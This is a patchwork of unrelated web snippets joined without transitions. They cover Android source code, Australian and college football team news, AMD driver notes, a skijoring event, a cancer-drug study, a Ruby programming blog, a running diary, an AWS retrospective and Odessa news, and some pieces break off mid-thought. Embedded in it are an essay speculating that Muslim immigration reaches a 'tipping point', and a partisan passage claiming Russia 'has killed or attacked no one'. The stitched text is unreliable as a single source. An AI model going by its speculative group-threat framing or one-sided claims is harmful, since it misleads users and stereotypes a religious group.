The availability of ICS source code is especially significant because it marks the first time that Google’s tablet code has been opened to public scrutiny. Google previously withheld the source code of Honeycomb, the company’s tablet-centric version of the operating system, and only provided access to select partners. That disappointing move prevented the independent Android community from building custom ROMs for devices like the Motorola Xoom.
Google contended that corners were cut during Honeycomb development and that the software was held back because it was unsuitable for widespread availability. The decision to unilaterally withhold access to source code for competitive reasons undermined the company’s early claims about the extent of Android’s openness.
The Honeycomb source code is technically included in today’s ICS code drop, because ICS was developed on top of the Honeycomb code tree. Google has not actually tagged the specific Honeycomb releases, however, in order to discourage third-party developers from creating Honeycomb builds of Android.
“This release includes the full history of the Android source code tree, which naturally includes all the source code for the Honeycomb releases. However, since Honeycomb was a little incomplete, we want everyone to focus on Ice Cream Sandwich,” wrote Queru. “So, we haven’t created any tags that correspond to the Honeycomb releases (even though the changes are present in the history.)”
The source code release today will significantly ease tensions between Google and the third-party Android platform development community. The fact that the company is publishing the code before the availability of the first Android 4.0 device is a commendable improvement over Google’s previous Android code release practices.
Joining the rebounding half back in the extended lineup is Daniel Giansiracusa, Jarrad Grant, Jason Tutt and Tom Young who have been jostling for a recall in the VFL in recent weeks.
FINAL SQUADS: View the final squads ahead of Sunday's clash between the Western Bulldogs and North Melbourne.
Senior Assistant Coach Brett Montgomery said the Bulldogs are pleased to have Johannisen back in the mix this week and his creativity in defence would benefit the side against North.
“JJ had a little niggle last week so unfortunately went out… so we are really pleased to bring him back in, he had done a lot right before that week,’ Montgomery said.
“He will bring us some speed, ball use, will certainly take the game on when it’s needed, so he is an important part of our game.”
A five goal haul and eight tackles in the VFL on Sunday led to Grant’s selection in the extended squad, as he looks to add to his three senior games this season.
“We’ve been looking forward to getting Jarrad back into the team for quite some time,” he said.
FINAL SQUADS: View the final squads ahead of Sunday's clash between the Western Bulldogs and North Melbourne.
“He’s just about ready to go again.”
Veteran forward Giansiracusa has also returned to senior calculations after being named as an emergency last week, after kicking 13 goals from 12 games earlier in the year at AFL level.
“We know what Danny brings especially as a sub and we are really looking forward to him closing out his career and finishing off really strongly,” he said.
Jason Tutt and Tom Young have featured regularly among the best at VFL level and have proven capable when given their opportunities at senior level.
Tutt is coming off a three goal and seven tackle effort in Footscray’s win against Werribee on Sunday, while Young has been named among the best players in the past two consecutive weeks.
“We are still playing around with the team and we want to find out about a few guys before the end of the year – we want to find out what our best combinations and mix are,” he said.
Easton Wood (hand) and Nathan Hrovat (ankle) will not line up for the Bulldogs on Sunday through injury.
ROUND 21 - North Melbourne vs Western Bulldogs
Sunday 17 August 2014, 1:10pm
Baylor right tackle Pat Colbert will miss his final collegiate game with a torn labrum. The senior joins Corey Coleman, Shock Linwood and Jarrett Stidham as offensive players ruled out for the Russell Athletic Bowl.
Colbert was a rotation player in 2013 and started the final six games of 2014 after Troy Baker tore his ACL. The Kilgore product retained the job this season, but sustained the injury against Texas.
Colbert posted on his private Instagram on Sunday night, saying that he would undergo surgery on Monday morning.
With him out of commission, Art Briles will likely shift Blake Muir to right tackle. This would open up a spot for former starting guard Desmine Hilliard, who lost his job to Jarrell Broxton last season. Baylor ran some of this line out against Texas, after Colbert went down. Briles could also bring in Texas A&M transfer Ish Wilson to simply take Colbert's spot.
Predicting the average temperature on Earth ten years from now is hard. There are too many variables. But predicting the outcome of immigration policies probably involves far fewer variables. All we need to do is look at other countries that experienced lots of Muslim immigration and subtract out the countries that reversed the trend with military force, because I assume we wouldn’t see any of that in the United States, especially if the immigrants are legal.
A good immigration prediction model would find the “tipping point” where the percentage of Islamic population nearly guarantees the entire country will become Muslim in the long run. Is that 10% or 65%? I have no idea.
Islam is the world’s fastest-growing religion. Birth rates are high, followers are motivated, and the system is hard to leave once you are in it. If any country in the world allowed unlimited immigration forever, that country would likely become Islamic in the long run, although it might take a few hundred years. But no country allows unlimited immigration, so that isn’t a realistic scenario.
A realistic scenario is what the United States and much of Europe are experiencing. We have to decide the rate and type of immigration that will be good for the country. But if we don’t know where the tipping point is, how can we make informed decisions?
My provocative thought for today is that the pro-immigration people and the anti-immigration people are actually on the same side and don’t know it because no one has made an immigration prediction model. For this claim, I will exclude the extremes on both sides, so subtract out the true open-border globalist on the left and the pure racists on the right. We’ll focus on the sensible middle that wants some degree of immigration while maintaining the good parts of the existing culture. But how does either side decide how much is the right amount of Muslim immigration, and how much is too much? Where’s my immigration prediction model?
Suppose I said to you that 20% Islamic population will guarantee that eventually – perhaps in a hundred years or more – the country will have a dominant Islamic culture, with all that implies for women and the LGBTQ community.
I don’t know if having 20% Muslim citizens is anywhere near the tipping point. But consider that gays represent perhaps 10% of the country, and that was enough to change laws. Consider that the United States is strongly pro-Israel while the Jewish population of the United States is under 2%. The size of the minority seems less important than their level of motivation. Muslims appear to be motivated.
The weird thing about the immigration issue is that the only people with coherent opinions are the ones on the extremes. The racists on the right are repugnant, but their opinions are coherent, given their preferences and priorities. Likewise, the open-border globalists have an approach that you might find impractical and dangerous, but it is a coherent philosophy, and easy to understand.
The people who don’t have coherent opinions on Muslim immigration are the so-called reasonable people in the middle. It is nonsense to argue about whether our Muslim immigration policies are good or bad without the benefit of knowing where the tipping point is, if such a thing even exists. My guess is that the pro-immigration people and the anti-immigration people would agree we shouldn’t go past the tipping point. But if neither side knows where the tipping point is, you can’t call the opinion on either side sensible.
So that’s where we are on this issue: The extremists on both sides are repugnant and/or stupid. But they are the only ones with policy preferences that are rational – based on their priorities of course, not yours. The so-called sensible people in the middle (including me) have opinions that are effectively nonsense because we don’t know where the tipping point is.
You might enjoy reading my book because of your tipping point.
I’m also on…
Twitter (includes Periscope): @scottadamssays​
YouTube: At this link.
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As shown in the video below, Lawson's piece "Ghost in the Machine (blood robot selfie)" uses a robot — connected to a vein in his arm via medical tube — to capture what resembles a human photo copy of the artist.
From Lawson's bio:
Using figurative representation and geometric abstraction, Ted Lawson creates a narrative progression of forms that reveals something conceptually greater than the sum of their parts. Ted's large scale works combine digital technology with highly crafted traditional sculpting methods to seamlessly produce conceptual objects that express the underlying analog truth within his subject matter. His working process in an exploration into the human existential experience through imagined models of the universe as physical form. He has been living and working in New York City creating original works from his studio in Greenpoint, Brooklyn.
Let's compare Blood Ted Lawson with Human Ted Lawson:
The Adrenalin Edition 17.12.2 driver release is the first update to AMD's new Adrenalin series, which replaces the company's previous Crimson ReLive series. Radeon GPU owners who upgrade will see an updated interface and some new and improved features, including lower input latency in DirectX games. By that, AMD means a quicker response between clicking a mouse button and having that information relayed to a game. You can read more about the Adrenalin Edition launch here.
As for the 17.12.2 driver update, here's a list of the resolved issues, according to the release notes:
Radeon Settings Video tab may disappear on some hybrid graphics system configurations after a reboot
AMD XConnect Technology enabled system configurations may experience an intermittent system hang on hot plug.
GPU Display scaling may fail to enable when desktop resolution is set very low.
Region recording in Radeon ReLive will continue to record when the region window is closed.
3x1 display configurations may experience instability during Eyefinity creation or during gaming.
Ark Survival Evolved may experience heavy flickering or corruption when enabling the performance metrics overlay in Windows 7.
A black screen may be experienced when running full screen games on the Samsung CF791 Radeon FreeSync enabled display.
Netflix playback in a browser or via UWP application may experience stutter.
Radeon Overlay performance metrics may appear and disappear intermittently during updates.
Color Temperature controls may change colors on the incorrect display when using the reset option.
Star Wars: Battlefront II may experience graphical corruption in some areas of the game.
The release also mention several lingering issues that AMD is still working to address. They include:
Radeon Settings may experience a hang when enabling AMD CrossFire with three or more graphics products.
Trimming videos may fail to create a thumbnail if the video contains non-English characters.
Flickering may be observed on the performance metrics overlay when Enhanced Sync is enabled on some Radeon FreeSync connected displays.
Performance Metrics Overlay may hang if enabled when cycling display power off and on.
The "Reset" function in Radeon Settings for Display, ReLive, and Video may not work as intended when using Radeon Settings in certain regional languages.
Radeon WattMan may intermittently fail to load profiles for Radeon RX Vega on the global Radeon Wattman page.
Rise of the Tomb Raider may experience an intermittent application hang during gameplay.
A random system hang may be experienced after extended periods of use on system configurations using 12 GPU's for compute workloads.
The GPU Workload feature may cause a system hang when switching to Compute while AMD CrossFire is enabled. A workaround is to disable AMD CrossFire before switching the toggle to Compute workloads.
A new skijoring event has been added to the Flathead Valley’s winter outdoor itinerary and will take place Dec. 31 and Jan. 1 on a private airstrip at The Lakeside Club in Lakeside.
The Flathead Lake Skijoring Championships will offer $25,000 in prize money, the biggest combined purse of any skijoring event in the country, according to Skijoring America.
“With that large of a purse, the Flathead Lake Skijoring Championships have made a statement about attracting the best competitors in the world to this season kickoff event,” said Laurie Sigillito of Durango, Colorado, president of Skijoring America.
The new venue is the first competition of Skijoring America’s 2017 winter schedule, which includes Western competitions in several states.
Skijoring, which combines horsemanship and skiing into one sport, is not a new event in the Flathead Valley.
The Whitefish World Invitational Skijoring competition — also affiliated with Skijoring America — has been a Whitefish Winter Carnival mainstay for more than a decade and is scheduled to return in late January 2017 as part of the carnival. The location for this year’s Whitefish competition is being finalized this week, spokesman Scott Ping said.
Flathead Lake Skijoring Championships’ competition includes a novice class, sport class, colorful costume class and an open class.
The race venue of The Lakeside Club is self-contained, with paved parking for thousands of cars, organizers said. A Saturday afternoon calcutta is planned immediately following the competition at the heated Airplane Hangar Bar adjacent to the race course.
Sunday’s competition will be immediately followed by an awards party in the same venue, both emceed by popular Pro Rodeo announcer Joe Warner.
During the calcutta, gamblers bid for participating teams in an auction following the first day of competition, allowing non-competitors to share in a large, separate cash purse.
David Fetveit, spokesman for the West Shore Visitors Bureau, said the venue facilities and scheduling both the calcutta and awards party on-site and immediately following competition allows spectators to enjoy both extended events alongside the competitors, “while keeping their evenings open for other family or holiday activities.”
Paved parking will be free, and admission to the family-friendly event is $5 per person with children ages 12 and younger admitted free. Food and bar concessions will be available on-site.
Start time for the competition is scheduled for 12:30 p.m. Saturday and Sunday.
Access to The Lakeside Club race site is directly off U.S. 93, approximately one mile south of Lakeside.
For more information, go to www.flatheadlakeskijoring.com, www.skijoringamerica.com, or follow Flathead Lake Skijoring Championships on Facebook.
Thalidomide was first introduced in the 1950s as an anti-nausea medication to help control morning sickness, but was later taken off the shelves in 1962 because it was found to cause birth defects. In the late 1990's the drug was re-introduced as a stand-alone or combination treatment for multiple myeloma. Turmeric, an ancient spice grown in India and other tropical regions of Asia, has a long history of use in herbal remedies and has recently been studied as a means to prevent and treat cancer, arthritis and Alzheimer's disease. According to the American Cancer Society, laboratory studies have shown that curcumin, an active ingredient in turmeric, interferes with several important molecular pathways and inhibits the formation of cancer-causing enzymes in rodents.
"Although thalidomide disturbs the microenvironment of tumor cells in bone marrow, it disintegrates in the body. Curcumin, also active against cancers, is limited by its poor water solubility. But the combination of thalidomide and curcumin in the hybrid molecules enhances both the cytotoxicity and solubility," says the study's lead researcher Shijun Zhang, assistant professor in the Department of Medicinal Chemistry at the VCU School of Pharmacy.
Compared to mixing multiple drugs, creating hybrid molecules can provide certain advantages. "Enhanced potency, reduced risk of developing drug resistance, improved pharmacokinetic properties, reduced cost and improved patient compliance are just a few of those advantages," says another of the study's researchers Steven Grant, M.D., Shirley Carter Olsson and Sture Gordon Olsson Chair in Oncology Research, associate director for translational research, program co-leader of Developmental Therapeutics and Cancer Cell Signaling research member at VCU Massey Cancer Center.
The hybrid molecules of turmeric and thalidomide created more than 15 compounds, each with a different effect. Scientists found that compounds 5 and 7 exhibited superior cell toxicity compared to curcumin alone or the combination of curcumin and thalidomide. Furthermore, the compounds were found to induce significant multiple myeloma cell death.
"Overall, the combination of the spice and the drug was significantly more potent than either individually, suggesting that this hybrid strategy in drug design could lead to novel compounds with improved biological activities," added Grant. "The results also strongly encourage further optimization of compounds 5 and 7 to develop more potent agents as treatment options for multiple myeloma."
Zhang and Grant collaborated on this study with Kai Liu from the Department of Medicinal Chemistry at the VCU School of Pharmacy; Jeremy Chojnacki, from the VCU Department of Medicinal Chemistry; Datong Zhang, from the School of Chemistry and Pharmaceutical Engineering at Shandong Polytechnic University in Jinan, Shandong; and Yuhong Du and Haian Fu, from the Department of Pharmacology and Emory Chemical Biology Discovery Center at Emory University in Atlanta, Georgia.
The full manuscript of this study is available at: http://pubs. rsc. org/ en/ content/ articlepdf/ 2013/ ob/ c3ob40595h .
News directors: Broadcast access to VCU Massey Cancer Center experts is available through VideoLink ReadyCam. ReadyCam transmits video and audio via fiber optics through a system that is routed to your newsroom. To schedule a live or taped interview, contact Alaina Farrish, (804) 628-4578.
About VCU Massey Cancer Center
VCU Massey Cancer Center is one of only 67 National Cancer Institute-designated institutions in the country that leads and shapes America's cancer research efforts. Working with all kinds of cancers, the Center conducts basic, translational and clinical cancer research, provides state-of-the-art treatments and clinical trials, and promotes cancer prevention and education. Since 1974, Massey has served as an internationally recognized center of excellence. It has one of the largest offerings of clinical trials in Virginia and serves patients in Richmond and in four satellite locations. Its 1,000 researchers, clinicians and staff members are dedicated to improving the quality of human life by developing and delivering effective means to prevent, control and ultimately to cure cancer. Visit Massey online at http://www. massey. vcu. edu or call 877-4-MASSEY for more information.
Update: Looks like Fisker's about to take some more heat. Here's a statement from the owner's attorney:
The fire department recently completed their investigation and determined the origin of the fire was, in fact, Gutierrez's newly purchased Fisker Karma hybrid electric vehicle that he just took possession of two weeks earlier
“You will be shocked about the number of conversations you can hear from my bed,” a neighbor of the Columbia Street Waterfront District bar told DNAinfo, echoing what seems to be a community-wide frustration with PCC’s noise level on weekends. “They’re animals. Friday and Saturday night, it’s like animal town.” But then, couldn’t most New York neighborhoods on Friday and Saturday nights be described as such? Would it be so bad if everyone followed this place’s lead, and stopped serving booze to anyone under 25 after 10pm, other than the most trusted of regulars?
Economically speaking, I guess it could be, but otherwise, not seeing a whole lot to oppose here. And if we can raise the smoking age to 21, we can do anything.
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There is a recent post on thewildblogger.com titled “Top 12 Programming Languages for Beginners in 2015” which uses diagrams from IEEE Spectrum based on popularity of languages on the internet based on quantity. The article itself does a decent job on touching on many good languages. But I find the image graphic misleading.
Image: IEEE Spectrum Ranking for Programming Languages
Java
Back in the day Java didn’t exist. Java was built as a revolutionary way to make cross-platform software a reality. Write the software in Java and use it anywhere. A lot of work has gone into Java to make this possible. Even hardware manufacturers have made chips that are designed to make Java work more easily within systems. For a long time Apple had kept their iPhones proprietary in such a way that you would have to use their choice of programming language Objective-C to write apps for it. But overtime Apple included some hardware that includes Java support. So Java is a language that is cross-platform, and available to use most anywhere.
There are many pros and cons with Java. It’s been around long enough, and it’s been optimized enough, to be a great language for servers offering amazing tool-sets. Security has been a reoccurring issue many times over the years, but who doesn’t have to deal with that?
Java is very important in todays day and age. The language itself probably isn’t a good “beginner language”. It’s the longest “hello world” example I’ve seen (besides getting into system languages like assembly). So it’s syntax is a bit excessive. Scala, on the other hand, is a beautiful language written on top of Java which compiles into Java bytecode. It’s thought of highly by the author of Java.
“If I were to pick a language today other than Java, it would be Scala.” James Gosling
father of Java
To take advantage of the wonderful Java ecosystem some languages have incorporated into Java, such as JRuby. JRuby gives you the best of both worlds. You can write pure Ruby and have it run as Java code. You can also write Ruby that works with native Java code. And with the soon to be released JRuby 9000 you will have all the latest features of Ruby 2.2 at your finger tips.
C/C++
Most computer operating systems were written in some flavor of C with some Assembly. This is slowly changing as more languages continue to be written, such as Rust (which I hear is a language primarily written for writing operating systems). Ruby was originally written in C by Yukihiro Matsumoto. It includes excellent support for extending C libraries in your projects. There are plenty of online videos/resources you can check out on this subject. Yukihiro Matsumoto has also authored the mRuby language for programming Ruby code for embedded systems. So Ruby is pretty tight with C.
D
D is a beautiful language. I really believe more people should know about it. Spread the word! Check it out! If C was the successor to Assembly and C++ to C, then I would consider D the successor to C++. D is designed so that you can write code optimized for mutli-core systems. It’s very powerful, efficient, and not too bad looking ;-). There’s a Ruby programmer out there, Tomasz Stachewicz, who started a project called rudy to allow the same integration with D as Ruby has with C. The project hasn’t gotten the attention that it needs and has been dormant for about 6 years. A lot has changed since then and I really hope more people who feel passionate about these two languages will pick this project up and make this a full featured library.
Python
As a developer who’s been in Python for over 10 years I’d like to think I’ve gotten pretty familiar with it. From what I can see the popularity of Python has lead to it gaining a huge following. I have too many books on it (if you can imagine that). Python seems to be getting into many places, web hosting/services, Linux system boot-ups, game development, networking technologies, and much more. It has a lot of support for a lot of libraries and features. It, having a big community, has really helped it grow. I believe that this has allowed Python to have a few more robust tools over Ruby. But as I’ve converted into a Ruby enthusiast I know that as Python developers learn Ruby they’ll fall in love with it.
The main reason I brought up Python is game development. Python has an amazing game library called PyGame which is integrated with SDL and OpenGL. I wrote a full game in PyGame with animations, sound effects, and a complete UI. I even wrote it before I understood what classes were, so I wrote it entirely with functions. Haha! Not DRY I must say. But I digress. The library itself is wonderful and well supported. In Ruby we also have a library for SDL. But the community hasn’t seemed to be as supportive in this; and the project’s own website discourages it:
Ruby/SDL has following disadvantage. Slow – Ruby is very slow compared to C or C++. In my opinion it is difficult to develop 3D games with Ruby/SDL. But SDL has fast 2D drawing function, so I think they can develop many kinds of games with Ruby/SDL. –http://www.kmc.gr.jp/~ohai/rubysdl.en.html
There is absolutely no reason why PyGame should be any better in performance advantage over Ruby/SDL. They are in the same level of language hierarchy so performance should be similar. I believe that with the right positive community around Ruby/SDL that it can be taken farther than PyGame and better games can be made for it.
I also think Python has a better networking library Twisted than the Ruby community. It’s not that we don’t have the tools and libraries (which we have many!), they’re just not as robust. I believe this has everything to do with the size of the community involved. The Ruby community is an awesome one with many passionate people who love the language… we just need to bring more people in and the effect will be more projects to flourish. That won’t be too difficult to do as the pay for Ruby web framework development is some of the highest paying available work at the moment.
JavaScript
It wasn’t that long ago that JavaScript was a client side only language based solely within your browser. JavaScript has perhaps one of the most interesting evolutions. As it grows it’s required to keep all it’s legacy support. So it becomes more powerful yet has many evolved methods and ways of doing things. JavaScript being brought to the server side of things has made it a “contender”, as it were, as a programming language amongst the rest. It’s been shooting up in popularity. And pay, from what I hear, is also going up for it.
JavaScript is no longer just a useful tool to get things done in your browser. It’s become a capable environment for both server and client code to be executed. This is revolutionizing the web, and many big projects/companies are taking advantage of this. We have AngularJS, EmberJS, and the new contender ReactJS just to name a few of the big ones within the JavaScript landscape. Please don’t yell at me for bringing up ReactJS (or for neglecting node.js and others). I know it’s just for the View layer where Ember and Angular are both Model-View-Controller complete systems. But I will get more into React in a moment.
Ruby really shines here in JavaScript. Starting with UJS (Unobtrusive JavaScript) that was introduced into Rails way back in the day, to the growingly popular Opal. Opal is a transpiler; a Ruby to JavaScript compiler. With Opal you write Ruby code, it gets “translated” into JavaScript, and it pretty much “Just works!”. Opal has opened new possibilities that are only just starting to be realized. Volt is one such realization. Introduced officially in “RubyConf 2014 – Isomorphic App Development with Ruby and Volt by Ryan Stout“; Volt revolutionizes MVC by eliminating the duplication of MVC implementation on both server and client code to just one MVC code base that “just works” between the server and client. The power of transpiling changes everything.
ReactJS, by Facebook, redefines how we do Views for the web. They’ve taken steps that have had the internet community, at first, thinking badly of them, but whom have then later accepted the new found methodology. If you haven’t seen React in action I highly recommend watching this conference talk: “React.js Conf 2015 – Hype!“. Here we have a live demo between Ember, Angular, and React. The difference is astounding! React blows the others away in performance! The technology behind it has to do with a VirtualDOM they’ve created within the browser and using a diff/update kind of implementation to allow only the part of the DOM that needs to be updated to update. It’s brilliant!
Not only does React redefine how Views are implemented (with styles and the like), but the team from Facebook have just introduced React Native. React Native allows you to write software for iOS, and soon Android, natively as if you were writing a pure HTML view. There are no cheap tricks or gimmicks to “mimic” Native features of iOS. They have implemented a second thread process to process the updates to the main thread in your iOS app which runs NATIVE code. You have to see it to believe it: “React.js Conf 2015 Keynote – Introducing React Native“. This brings the JavaScript language to offer true native iOS/Android app implementation making it a key feature to reaching audiences with a beautiful native experience. One thing I should mention is they’re not making it ‘write once, run everywhere’, but ‘learn once, write everywhere’. What that means for you is you will write very similar code for each but you’re writing it specifically for the targeted OS thereby allowing you to write purposefully native behavior. (Read this excellent review: First Impressions using React Native)
Ruby has a library for making natively compiled iOS/Android applications with RubyMotion. RubyMotion isn’t a free library, there is a monthly cost involved. You can write you code once in Ruby and have it work on both iOS and Android. This is wonderful! You have the advantage of a powerful and beautiful language, such as Ruby, able to reach the broadest of audiences. If you are an App developer, or plan to be, it’s a worthwhile library.
Now I want to tickle your mind with this. We have Ruby running on Java with JRuby getting all the access you could want to the Java ecosystem. We have Ruby code converting to perfectly running JavaScript with Opal. And we have a View layer with React that needs a Model/Controller back-end. What if we decide to write a Rails framework application integrated with react (react-rails) built on top of JRuby with some meta-programming to allow us to write an application that automatically deploys to Web & mobile with full native features? Well I’m not sure what React Native requires to deploy native apps, but right now this actually sounds feasible. Some might argue that this would be a terrible idea because of possible performance issues. But I’d like to point out that Rails already runs on JRuby with React view support, so it’s not far-fetched at all. This would be superbly AMAZING! So much power!!! What would one do with it?
Ruby
Ruby was designed for programmers. It’s intuitive, straightforward, simple, and allows many different styles of writing. Many programmers can come in from a different language and write code similar to what they’re used to and find it very compatible. You can often guess what something is, or should be, and find that it works. It’s very well designed.
Ruby has an excellent meta-programming ability to it. You can write code, that writes code. This opens up doors to limitless possibilities.
Ruby is one of the most powerful languages out there. The saying “If you can’t beat them, join them” fits in my opinion as Ruby has within it’s full capacity both Java and JavaScript. Personally I think Ruby could beat them in a fair fight. But that’s not the way of things. So Ruby has joined the masters and can implement whatever could be desired.
Summary
Many of these thoughts have been on my mind for some time. Basing languages based on popularity isn’t honest for any of the upcoming underdogs, nor is it a fair assessment for beginners. I’m not saying that Ruby is the one language that fits all situations. Not in the least. But I’d like to argue that it’s not a Web-Only language, but is very much a compatible language for OS dev, game dev, web dev, embedded systems, and so much more.
The shear power of testing and automating with Ruby is worthy of mentioning. Whether it’s code testing with test-unit, rspec, minitest, cucumber, and capybara, or with web automation/scraping with watir-webdriver, selenium, mechanize, nokogiri, and the like. There are entire web based systems that will QC your code like Travis CI (although they’re not a Ruby alone service). I just can’t do it justice by trying to list a few. The possibilities are limitless.
There are many Ruby technologies I haven’t touched on and I don’t mean to leave them out so I apologize for that. My main point in writing this is to raise awareness of the power available with the Ruby language and the many options available. I also wanted to bring light to a few areas that I saw needed attention, and inspire new ideas through new technologies that are evolving/developing.
When getting into discussion over different programming languages I take a big risk at stepping on peoples toes. I hope I haven’t done that for anyone. I’m not a one language guy. I want to learn many programming languages. Scala, D, and Assembly are some I’d like to be savvy with, and it won’t stop there.
If you’re not involved in an open source project I highly encourage you to find one you’re passionate about and get involved. There are many good code projects that need a person like you to call them “home”. I also encourage you to branch out and learn new languages, if for no other reason, to take back something new.
I’m excited about what’s developing in the open source world and I want to be there when it happens! I’m sure that many of you feel the same way.
I hope that this was an enjoyable read for you and that the information here was insightful to you. Please comment, share, subscribe to my RSS Feed, and follow me on twitter @6ftdan!
God Bless!
-Daniel P. Clark
While strategy for a 5K can be quite complex, my research for 10K seemed quite straightforward – if you have a bias towards endurance, go out fast for 5K and hold on for the rest. If, on the other hand, your bias is speed, go easy for the first half then lay on the speed in the last 5K.
I knew I could go the distance and I knew I could manage the speed over 5K so all I’d need to do would be to hold the pace under 6:00 for the second 5K. And that’s just what I did: I ran a faster first 5K than Monday: 26:40 – one second shy of a minute faster! Bouoyed by this I allowed myself an easy 1Km – looking back at the splits I was still under 6:00 for that kilometer – then I threw what I had left into the final 4km getting it down to around 5:38 for a final time of 56:09…almost half a minute faster than Adam.
So not a bad week. In two runs I got three PBs (5K twice & 10K), I beat Adam’s time and I ran 10K in less than an hour, 13 minutes faster than last time. All without jelly babies.
A couple of things to note here. I’ve been running exclusively in barefoot shoes barefoot, i.e. sockless. I’m very comfortable with them and I’m comfortable with the idea of running a half in them. The occasions I’ve tried my ‘normal’ shoes have always resulted in pain. The other thing was that I thought jogger’s nipple was a 1980s fad that had all but vanished. This morning as soon as the shower water hit me I realised that wasn’t the case. I suppose this might be related to the soaking I got in the rain, but in future I’ll be taking precautions. Not sure what yet, but probably the hair shirt approach of elastoplast crosses. Maybe I’ll have to shave my chest. Watch this space….
Prime Minister Arseny Yatseniuk, speaking in Odessa, which is on the western, Black Sea stretch of Ukraine's coast, accused Russia of engineering Friday's clashes there that led to the deaths of more than 40 pro-Russian activists in a blazing building.
For Vladimir Putin, mimicking his opponents is a key element to keeping power. At home the Russian president oversees a democracy with sham elections and a loyal parliamentary opposition made up of stuffed shirts. His foreign policy can be best described as “condemn and copy.” Since 2007, when he assailed U.S. hegemony in a Munich speech, Putin has been raging against the West—and then committing his version of the sins he’s just condemned.
Nobody I’ve met at pro-Russia rallies has described any real threats or instances of repression. Asked what’s motivating them, they invariably turn to stock phrases that have been widely propagated on Russian state television: “Kiev junta,” “fascists,” “illegitimate government,” “referendum,” “federalization.” Follow-up questions rarely yield any enlightening answers. “Federalization means that Kiev listens to us,” Boris Dekhteryenko, a car mechanic from Makeyevka, explained to me. “We want independence within Russia.”
The confusion is understandable given that there is no repression of Russians or their language to begin with.
Those of us who grew up in the west after WWII believed that supporting anything resembling fascism was unthinkable.
The moral degeneration of the U.S. state and its Nato allies since that time is almost beyond belief. So too is the degeneration of the Washington Post, New York Times, and other corporate media which have helped to delude large numbers of Americans into believing that Russia, which has killed or attacked no one, is somehow the aggressor in Ukraine.
In reality, and on the ground, the U.S. government – with no mandate from the American people - is supporting a fascist/oligarch unelected Ukrainian ‘government’ installed in a coup spear-headed by two openly fascist parties, Svoboda and Right sector.
Now, in actions highly reminiscent of Hitler and his brown shirts, Right-sector oriented hooligans aided by military forces have just beaten with chains and baseball bats, and burned to death in the Trade Unions building of Odessa 31 civilians who were engaged in a peaceful occupation in their own city – civilians who are opposed to, and do not recognize, the new oligarch/fascist ‘government’.
Yesterday, the day that U.S.-state-supported fascists beat civilians with chains and clubs and burned them to death in a trade union hall in the Ukraine – this also is a day that will live in infamy.
Future Shock
When I was in high school, I read and reported on a relatively new (for 1977) book titled Future Shock. In the book, futurist Alvin Toffler argued that the rapid pace of change had the potential to overwhelm, stress, and disorient people. While the paper I wrote has long since turned to dust, I do remember arguing that change was good, and that people and organizations would be better served by preparing to accept and to deal with it.
Early in my career I saw that many supposed technologists were far better at clinging to the past than they were at moving into the future. By the time I was 21 I had decided that it would be better for me to live in the future than in the past, and to not just accept change and progress, but to actively seek it out. Now, 35 years after that decision, I can see that I chose the most interesting fork in the road. It has been a privilege to be able to bring you AWS news for well over a decade (I wrote my first post in 2004).
A Decade of IT Change
Looking back at the past decade, it is pretty impressive to see just how much the IT world has changed. Even more impressive, the change is not limited to technology. Business models have changed, as has the language around it. At the same time that changes on the business side have brought about new ways to acquire, consume, and pay for resources (empowering both enterprises and startups in the process), the words that we use to describe what we do have also changed! A decade ago we would not have spoken of the cloud, microservices, serverless applications, the Internet of Things, containers, or lean startups. We would not have practiced continuous integration, continuous delivery, DevOps, or ChatOps. While you are still trying to understand and implement ChatOps, don’t forget that something even newer called VoiceOps (powered by Alexa) is already on the horizon.
Of course, dealing with change is not easy. When looking in to the future, you need to be able to distinguish between flashy distractions and genuine trends, while remaining flexible enough to pivot if yesterday’s niche becomes today’s mainstream technology. I often use JavaScript to illustrate this phenomenon. If you (like me), as a server-side developer initially brushed off JavaScript as a simple, browser-only language and chose to ignore it, you were undoubtedly taken by surprise when it was first used to build rich, dynamic Ajax applications and then run on the server in the form of Node.js.
Today, keeping current means staying abreast of developments in programming languages, system architectures, and industry best practices. It means that you spend time every day improving your current skills and looking for new ones. It means becoming comfortable in a new world where multiple deployments per day are commonplace, powered by global teams, and managed by consensus, all while remaining focused on delivering value to the business!
A Decade of AWS
While I hate to play favorites, I would like to quickly review some of my favorite AWS launches and blog posts of the past decade.
First and Still Relevant (2006) – Amazon S3. Incredibly simple in concept yet surprisingly complex behind the scenes, S3 was, as TechCrunch said at the time, game changing!
Servers by the Hour (2006) – Amazon EC2. I wrote the blog post while sitting poolside in Cabo San Lucas. The launch had been imminent for several months, and then became a fact just as I was about to hop on the plane. From that simple start (one instance type, one region, and CLI-only access), EC2 has added feature after feature (most of them driven by customer requests) and is just as relevant today as it was in 2006.
Making Databases Easy (2009) – Amazon Relational Database Service – Having spent a lot of time installing, tuning, and managing MySQL as part of a long-term personal project, I was in a perfect position to appreciate how RDS simplified every aspect of my work.
Advanced Networking (2009) – Amazon Virtual Private Cloud – With the debut of VPC, even conservative enterprises began to take a closer look at AWS. They saw that we understood the networking and isolation challenges that they faced, and were pleased that we were able to address them.
Internet-Scale Data Storage (2012) – Amazon DynamoDB – The NoSQL market was in a state of flux when we launched DynamoDB. Now that the smoke has cleared, I routinely hear about customers that use DynamoDB to store huge amounts of data and to support some pretty incredible request rates.
Data Warehouses in Minutes not Quarters (2012) – Amazon Redshift – Many companies measure implementation time for a data warehouse in terms of quarters or even years. Amazon Redshift showed them that there was a better way to get started.
Desktop Computing in the Cloud (2013) – Amazon WorkSpaces – All too often dismissed as either pedestrian or “great for someone else,” virtual desktops have become an important productivity tool for me and for our customers.
Real Time? How Much Data? (2013) – Amazon Kinesis – Capturing, processing, and deriving value from voluminous streams of data became easier and simpler when we launched Kinesis.
A New Programming Model (2014) – AWS Lambda – This is one of those disruptive, game-changers that you need to be ready for! I have been impressed by the number of traditional organizations that have already built and deployed sophisticated Lambda-powered applications. My expectation that Lambda would be most at home in startups building applications from scratch turned out to be wrong.
Devices are the Future (2015) – AWS IoT – Mass-produced compute power and widespread IP connectivity combine to allow all sorts of interesting devices to be connected to the Internet.
Moving Forward
A decade ago, discussion about the risks of cloud computing centered around adoption. It was new and unproven, and raised more questions than it answered. That era passed some time ago. These days, I hear more talk about the risk of not going to the cloud. Organizations of all shapes and sizes want to be nimble, to use modern infrastructure, and to be able to attract professionals with a strong desire to do the same. Today’s employees want to use the latest and most relevant technology in order to be as productive as possible.
I can promise you that the next decade of the cloud will be just as exciting as the one that just concluded. Keep on learning, keep on building, and share your successes with us!
— Jeff;
Aircraft still burning on side of hill.
"After bouncing over a draining ditch and down a steep slope, it finally came to rest on it's back
